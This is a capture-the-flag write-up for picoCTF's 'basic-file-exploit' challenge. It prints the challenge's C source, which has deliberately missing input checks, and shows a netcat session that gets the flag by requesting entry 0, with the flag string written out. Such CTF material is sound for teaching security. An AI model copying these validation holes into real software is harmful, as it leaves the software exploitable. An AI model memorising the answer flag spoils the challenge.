basic-file-exploit

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>

#define WAIT 60

static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;

int tgetinput(char *input, unsigned int l) {
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if(l <= 0) {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }

    /* Empty the FD Set */
    FD_ZERO(&input_set);
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set,
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case.
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    }

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}

static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;

  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}

static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);

  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}

int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

printf("Please enter the entry number of your data:\n");

// ...

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
  puts(flag);
  fseek(stdin, 0, SEEK_END);
  exit(0);
}

$ nc saturn.picoctf.net 53641
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
asdf
asdf
Please enter the length of your data:
4
4
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_C5BC1889}